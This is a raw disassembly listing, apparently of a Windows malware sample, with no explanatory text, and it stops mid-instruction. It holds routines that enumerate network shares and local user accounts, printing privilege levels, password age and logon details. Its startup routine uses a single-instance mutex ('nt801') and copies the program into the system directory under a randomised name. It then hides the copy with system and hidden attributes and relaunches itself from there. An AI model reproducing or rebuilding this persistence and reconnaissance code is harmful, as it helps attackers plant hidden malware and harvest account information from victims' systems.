push esi push esi push esi mov edi, ds:dword_41F10C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4512A3, 1 mov ebp, eax jnz short loc_40B83D or byte_4512A3, 1 lea eax, [ebp+1] push eax call sub_414905 pop ecx mov dword_451144, eax loc_40B83D: ; CODE XREF: sub_40B7F3+32j push esi push esi push ebp push dword_451144 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_451144 pop edi pop ebp pop ebx pop esi retn sub_40B7F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B85A proc near ; CODE XREF: sub_40B734+6Dp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40B8C5 push [ebp+arg_4] mov edi, eax call sub_40B8C5 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_415BA0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40B8C5 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_44CBEC pop edi leave retn sub_40B85A endp ; =============== S U B R O U T I N E ======================================= sub_40B8C5 proc near ; CODE XREF: sub_40B85A+Ap ; sub_40B85A+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40B8D2 pop ebp retn ; --------------------------------------------------------------------------- loc_40B8D2: ; CODE XREF: sub_40B8C5+9j push ebx push esi mov esi, ds:dword_41F110 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_414905 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40B8C5 endp ; =============== S U B R O U T I N E ======================================= sub_40B906 proc near ; CODE XREF: sub_40B734+20p ; .text:00412E99p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40B8C5 push [esp+8+arg_4] mov esi, eax call sub_40B8C5 pop ecx pop ecx push 0 push eax push esi call dword_44CBC8 pop esi retn sub_40B906 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B929 proc near ; CODE XREF: sub_40CC09+1D68p var_110 = byte ptr -110h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 110h push ebx push esi push edi push [ebp+arg_C] call sub_40B8C5 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 18h loc_40B962: ; CODE XREF: sub_40B929+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_44CC38 mov ebx, eax cmp ebx, esi jz short loc_40B9C5 cmp ebx, 0EAh jz short loc_40B9C5 push ebx push ebx call sub_40C0DE pop ecx push eax lea eax, [ebp+var_110] push offset unk_429C58 push eax call sub_413812 push esi lea eax, [ebp+var_110] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 24h jmp short loc_40BA32 ; --------------------------------------------------------------------------- loc_40B9C5: ; CODE XREF: sub_40B929+5Dj ; sub_40B929+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40BA29 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40B9D3: ; CODE XREF: sub_40B929+FCj push dword ptr [esi+10h] call dword_44CBE0 ; IsValidSecurityDescriptor test eax, eax mov eax, offset off_429C54 jnz short loc_40B9EA mov eax, offset aNo ; "No" loc_40B9EA: ; CODE XREF: sub_40B929+BAj push eax lea eax, [ebp+var_110] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_413812 push 1 lea eax, [ebp+var_110] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40B9D3 xor esi, esi loc_40BA29: ; CODE XREF: sub_40B929+A2j push [ebp+var_4] call dword_44CD68 loc_40BA32: ; CODE XREF: sub_40B929+9Aj cmp ebx, 0EAh jz loc_40B962 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40B929 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA4A proc near ; CODE XREF: sub_40CC09:loc_40E9E7p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40BAEE mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40BA8C dec eax jz short loc_40BA81 dec eax jnz short loc_40BAA7 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40BB90 add esp, 14h jmp short loc_40BAA3 ; --------------------------------------------------------------------------- loc_40BA81: ; CODE XREF: sub_40BA4A+1Dj push ebx push edi call sub_40BB6F pop ecx pop ecx jmp short loc_40BAA3 ; --------------------------------------------------------------------------- loc_40BA8C: ; CODE XREF: sub_40BA4A+1Aj cmp [ebp+arg_8], edi jz short loc_40BAA0 push [ebp+arg_8] push ebx push edi call sub_40BB15 add esp, 0Ch jmp short loc_40BAA3 ; --------------------------------------------------------------------------- loc_40BAA0: ; CODE XREF: sub_40BA4A+45j push 57h pop eax loc_40BAA3: ; CODE XREF: sub_40BA4A+35j ; sub_40BA4A+40j ... cmp eax, edi jnz short loc_40BAC7 loc_40BAA7: ; CODE XREF: sub_40BA4A+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4512A4 push off_4294F4[eax*4] push offset unk_429D40 push esi call sub_413812 add esp, 10h jmp short loc_40BB0E ; --------------------------------------------------------------------------- loc_40BAC7: ; CODE XREF: sub_40BA4A+5Bj push eax call sub_40C0DE push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4512A4 push off_4294F0[eax*4] push offset unk_429D00 push esi call sub_413812 add esp, 18h jmp short loc_40BB0E ; --------------------------------------------------------------------------- loc_40BAEE: ; CODE XREF: sub_40BA4A+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4512A4 lea eax, [eax+eax*2] push off_4294F0[eax*4] push offset unk_429CC8 push esi call sub_413812 add esp, 0Ch loc_40BB0E: ; CODE XREF: sub_40BA4A+7Bj ; sub_40BA4A+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40BA4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB15 proc near ; CODE XREF: sub_40BA4A+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40B8C5 push [ebp+arg_4] mov edi, eax call sub_40B8C5 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40B8C5 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_44CBD0 pop edi leave retn sub_40BB15 endp ; =============== S U B R O U T I N E ======================================= sub_40BB6F proc near ; CODE XREF: sub_40BA4A+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40B8C5 push [esp+8+arg_4] mov esi, eax call sub_40B8C5 pop ecx pop ecx push eax push esi call dword_44CBC4 pop esi retn sub_40BB6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB90 proc near ; CODE XREF: sub_40BA4A+2Dp var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 104h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40B8C5 push [ebp+arg_4] mov esi, eax call sub_40B8C5 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_44CD30 test eax, eax mov [ebp+arg_0], eax jnz loc_40BF1D mov eax, [ebp+var_4] test eax, eax jz loc_40BF58 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_104] push offset aAccountS ; "Account: %S" push eax call sub_413812 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_104] push offset aFullNameS ; "Full Name: %S" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_104] push offset aUserCommentS ; "User Comment: %S" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_104] push offset aCommentS ; "Comment: %S" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_40BCA9 dec eax jz short loc_40BCA2 dec eax jz short loc_40BC9B mov eax, offset aUnknown ; "Unknown" jmp short loc_40BCAE ; --------------------------------------------------------------------------- loc_40BC9B: ; CODE XREF: sub_40BB90+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40BCAE ; --------------------------------------------------------------------------- loc_40BCA2: ; CODE XREF: sub_40BB90+FFj mov eax, offset aUser_0 ; "User" jmp short loc_40BCAE ; --------------------------------------------------------------------------- loc_40BCA9: ; CODE XREF: sub_40BB90+FCj mov eax, offset aGuest ; "Guest" loc_40BCAE: ; CODE XREF: sub_40BB90+109j ; sub_40BB90+110j ... push eax lea eax, [ebp+var_104] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_104] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_104] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_104] push offset aParametersS ; "Parameters: %S" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_104] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_104] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_104] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_104] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_104] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_104] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_104] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_104] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_104] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_104] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_104] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_413812 push 1 lea eax, [ebp+var_104] push esi push eax push edi push ebx call sub_40B2B5 add esp, 20h pop edi pop ebx jmp short loc_40BF49 ; --------------------------------------------------------------------------- loc_40BF1D: ; CODE XREF: sub_40BB90+35j push eax lea eax, [ebp+var_104] push offset unk_429D70 push eax call sub_413812 push 0 lea eax, [ebp+var_104] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40B2B5 add esp, 20h loc_40BF49: ; CODE XREF: sub_40BB90+38Bj cmp [ebp+var_4], 0 jz short loc_40BF58 push [ebp+var_4] call dword_44CD68 loc_40BF58: ; CODE XREF: sub_40BB90+40j ; sub_40BB90+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_40BB90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF5E proc near ; CODE XREF: sub_40CC09+1E0Ap var_118 = byte ptr -118h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 118h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40B8C5 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 18h loc_40BF9D: ; CODE XREF: sub_40BF5E+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_44CC50 cmp eax, esi mov [ebp+var_C], eax jz short loc_40BFFE cmp eax, 0EAh jz short loc_40BFFE push eax push eax call sub_40C0DE pop ecx push eax lea eax, [ebp+var_118] push offset unk_429F84 push eax call sub_413812 push esi lea eax, [ebp+var_118] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 24h jmp short loc_40C079 ; --------------------------------------------------------------------------- loc_40BFFE: ; CODE XREF: sub_40BF5E+62j ; sub_40BF5E+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40C08C xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40C079 loc_40C010: ; CODE XREF: sub_40BF5E+EDj cmp edi, esi jz short loc_40C04F push dword ptr [edi] lea eax, [ebp+var_118] push offset aS_4 ; " %S" push eax call sub_413812 push 1 lea eax, [ebp+var_118] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40C010 jmp short loc_40C079 ; --------------------------------------------------------------------------- loc_40C04F: ; CODE XREF: sub_40BF5E+B4j lea eax, [ebp+var_118] push offset unk_429F3C push eax call sub_413812 push esi lea eax, [ebp+var_118] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 1Ch loc_40C079: ; CODE XREF: sub_40BF5E+9Ej ; sub_40BF5E+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40C08C push edi call dword_44CD68 xor edi, edi mov [ebp+var_4], edi loc_40C08C: ; CODE XREF: sub_40BF5E+A5j ; sub_40BF5E+120j cmp [ebp+var_C], 0EAh jz loc_40BF9D cmp edi, esi jz short loc_40C0A4 push edi call dword_44CD68 loc_40C0A4: ; CODE XREF: sub_40BF5E+13Dj push [ebp+var_8] lea eax, [ebp+var_118] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_413812 push esi lea eax, [ebp+var_118] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40BF5E endp ; =============== S U B R O U T I N E ======================================= sub_40C0DE proc near ; CODE XREF: sub_40B734+41p ; sub_40B929+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40C190 jz loc_40C189 cmp eax, 7Bh ja short loc_40C155 jz short loc_40C14B cmp eax, 5 jz short loc_40C141 cmp eax, 8 jz short loc_40C137 cmp eax, 32h jz short loc_40C12D cmp eax, 35h jz short loc_40C123 cmp eax, 57h jnz loc_40C1DF push offset aInvalidParamet ; "Invalid parameter." jmp loc_40C200 ; --------------------------------------------------------------------------- loc_40C123: ; CODE XREF: sub_40C0DE+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40C200 ; --------------------------------------------------------------------------- loc_40C12D: ; CODE XREF: sub_40C0DE+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40C200 ; --------------------------------------------------------------------------- loc_40C137: ; CODE XREF: sub_40C0DE+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40C200 ; --------------------------------------------------------------------------- loc_40C141: ; CODE XREF: sub_40C0DE+21j push offset aAccessDenied_ ; "Access denied." jmp loc_40C200 ; --------------------------------------------------------------------------- loc_40C14B: ; CODE XREF: sub_40C0DE+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_40C200 ; --------------------------------------------------------------------------- loc_40C155: ; CODE XREF: sub_40C0DE+1Aj sub eax, 7Ch jz short loc_40C182 sub eax, 7C8h jz short loc_40C17B dec eax jz short loc_40C171 dec eax jnz short loc_40C1DF push offset aDuplicateShare ; "Duplicate share name." jmp loc_40C200 ; --------------------------------------------------------------------------- loc_40C171: ; CODE XREF: sub_40C0DE+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40C200 ; --------------------------------------------------------------------------- loc_40C17B: ; CODE XREF: sub_40C0DE+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C182: ; CODE XREF: sub_40C0DE+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C189: ; CODE XREF: sub_40C0DE+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C190: ; CODE XREF: sub_40C0DE+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_40C1C9 jz short loc_40C1C2 sub eax, 8ADh jz short loc_40C1F4 dec eax dec eax jz short loc_40C1BB dec eax jz short loc_40C1B4 dec eax dec eax jnz short loc_40C1DF push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C1B4: ; CODE XREF: sub_40C0DE+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C1BB: ; CODE XREF: sub_40C0DE+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C1C2: ; CODE XREF: sub_40C0DE+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C1C9: ; CODE XREF: sub_40C0DE+B9j sub eax, 8CAh jz short loc_40C1FB sub eax, 17h jz short loc_40C1F4 sub eax, 25h jz short loc_40C1ED sub eax, 29h jz short loc_40C1E6 loc_40C1DF: ; CODE XREF: sub_40C0DE+35j ; sub_40C0DE+87j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C1E6: ; CODE XREF: sub_40C0DE+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C1ED: ; CODE XREF: sub_40C0DE+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C1F4: ; CODE XREF: sub_40C0DE+C2j ; sub_40C0DE+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40C200 ; --------------------------------------------------------------------------- loc_40C1FB: ; CODE XREF: sub_40C0DE+F0j push offset aNetworkConnect ; "Network connection not found." loc_40C200: ; CODE XREF: sub_40C0DE+40j ; sub_40C0DE+4Aj ... push offset dword_451148 call sub_413812 pop ecx mov eax, offset dword_451148 pop ecx retn sub_40C0DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C212 proc near ; CODE XREF: sub_40CC09+1E4Fp var_518 = byte ptr -518h var_308 = byte ptr -308h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 518h push esi push 0FFh push [ebp+arg_0] lea eax, [ebp+var_200] push eax call sub_414A03 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_308] push eax mov [ebp+arg_0], esi call ds:off_41F114 lea eax, [ebp+var_308] push esi push eax lea eax, [ebp+var_518] push eax call sub_414A03 lea eax, [ebp+var_200] push eax call sub_4149E6 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_200] push eax lea eax, [ebp+var_518] push 0 push eax push 0 call dword_44CCEC test eax, eax jnz short loc_40C2A2 mov esi, offset dword_451044 push offset unk_42A2DC push esi call sub_413812 pop ecx pop ecx jmp short loc_40C2CB ; --------------------------------------------------------------------------- loc_40C2A2: ; CODE XREF: sub_40C212+7Aj lea ecx, [ebp+var_200] push ecx lea ecx, [ebp+var_518] push ecx push eax call sub_40C0DE pop ecx mov esi, offset dword_451044 push eax push offset unk_42A2A0 push esi call sub_413812 add esp, 14h loc_40C2CB: ; CODE XREF: sub_40C212+8Ej mov eax, esi pop esi leave retn sub_40C212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2D0 proc near ; CODE XREF: .text:00415EDAp var_99C = dword ptr -99Ch var_98C = byte ptr -98Ch var_888 = byte ptr -888h var_887 = byte ptr -887h var_6F8 = byte ptr -6F8h var_5F8 = byte ptr -5F8h var_4F8 = byte ptr -4F8h var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_1EC = byte ptr -1ECh var_E8 = dword ptr -0E8h var_DC = dword ptr -0DCh var_BC = dword ptr -0BCh var_B8 = word ptr -0B8h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 98Ch push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_10], ebx mov [ebp+var_C], offset sub_40ACAF push [ebp+var_C] push large dword ptr fs:0 mov large fs:0, esp cmp dword_42A340, ebx jz short loc_40C309 call sub_408889 loc_40C309: ; CODE XREF: sub_40C2D0+32j mov esi, ds:dword_41F044 call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov dword_741F68, eax call esi ; GetTickCount push eax call sub_413864 pop ecx call sub_4073B6 push 2 call dword_44CD84 ; SetErrorMode push 7530h push offset aNt801 ; "nt801" push ebx push ebx call ds:dword_41F12C ; CreateMutexA push eax call ds:dword_41F128 ; WaitForSingleObject cmp eax, 102h jnz short loc_40C35D push 1 call ds:off_41F104 loc_40C35D: ; CODE XREF: sub_40C2D0+83j lea eax, [ebp+var_888] push eax push 202h call dword_44CC60 ; WSAStartup cmp eax, ebx mov [ebp+var_C], eax jnz loc_40C920 cmp [ebp+var_888], 2 jnz loc_40C91A xor eax, eax mov al, [ebp+var_887] cmp al, 2 jnz loc_40C91A mov esi, 104h lea eax, [ebp+var_3F4] push esi push eax call ds:dword_41F0FC ; GetSystemDirectoryA lea eax, [ebp+var_2F0] push esi push eax push ebx call ds:dword_41F0B0 ; GetModuleHandleA push eax call ds:dword_41F060 ; GetModuleFileNameA lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_5F8] push eax push ebx lea eax, [ebp+var_2F0] push ebx push eax call sub_415628 lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_5F8] push eax push offset aSS_0 ; "%s%s" lea eax, [ebp+var_4F8] push esi push eax call sub_413D8A lea eax, [ebp+var_3F4] push eax lea eax, [ebp+var_2F0] push eax call sub_413DE0 add esp, 30h test eax, eax jnz loc_40C5D2 cmp dword_7420D8, ebx mov esi, offset aTilehome_com ; "Tilehome.com" jz short loc_40C458 push esi xor edi, edi call sub_413E90 sub eax, 4 pop ecx jz short loc_40C458 loc_40C435: ; CODE XREF: sub_40C2D0+186j call sub_41386E push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte ptr aTilehome_com[edi], dl ; "Tilehome.com" inc edi call sub_413E90 sub eax, 4 pop ecx cmp edi, eax jb short loc_40C435 loc_40C458: ; CODE XREF: sub_40C2D0+155j ; sub_40C2D0+163j lea eax, [ebp+var_3F4] push esi push eax lea eax, [ebp+var_1EC] push offset aSS_3 ; "%s\\%s" push eax call sub_413812 add esp, 10h lea eax, [ebp+var_1EC] push eax call ds:dword_41F078 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_40C498 lea eax, [ebp+var_1EC] push 80h push eax call ds:dword_41F0DC ; SetFileAttributesA loc_40C498: ; CODE XREF: sub_40C2D0+1B4j mov esi, ds:dword_41F124 lea eax, [ebp+var_1EC] push ebx push eax lea eax, [ebp+var_2F0] xor edi, edi push eax loc_40C4AF: ; CODE XREF: sub_40C2D0+216j call esi ; CopyFileA test eax, eax jnz short loc_40C4E8 call ds:off_41F06C cmp edi, ebx jnz short loc_40C4E8 cmp eax, 20h jz short loc_40C4C9 cmp eax, 5 jnz short loc_40C4E8 loc_40C4C9: ; CODE XREF: sub_40C2D0+1F2j push 1 pop edi push 3A98h call ds:dword_41F050 ; Sleep lea eax, [ebp+var_1EC] push ebx push eax lea eax, [ebp+var_2F0] push eax jmp short loc_40C4AF ; --------------------------------------------------------------------------- loc_40C4E8: ; CODE XREF: sub_40C2D0+1E3j ; sub_40C2D0+1EDj ... lea eax, [ebp+var_1EC] push eax call sub_40863B pop ecx lea eax, [ebp+var_1EC] push 7 push eax call ds:dword_41F0DC ; SetFileAttributesA push 10h lea eax, [ebp+var_24] push ebx push eax call sub_413890 push 44h lea eax, [ebp+var_E8] pop esi push esi push ebx push eax call sub_413890 add esp, 18h mov [ebp+var_E8], esi mov [ebp+var_DC], offset byte_438A10 mov [ebp+var_B8], bx push 1 pop esi mov [ebp+var_BC], esi call ds:dword_41F120 ; GetCurrentProcessId push eax push esi push 100000h call ds:dword_41F11C ; OpenProcess lea ecx, [ebp+var_2F0] push ecx push eax lea eax, [ebp+var_1EC] push eax lea eax, [ebp+var_98C] push offset aSDS ; "%s %d \"%s\"" push eax call sub_413812 add esp, 14h lea eax, [ebp+var_24] push eax lea eax, 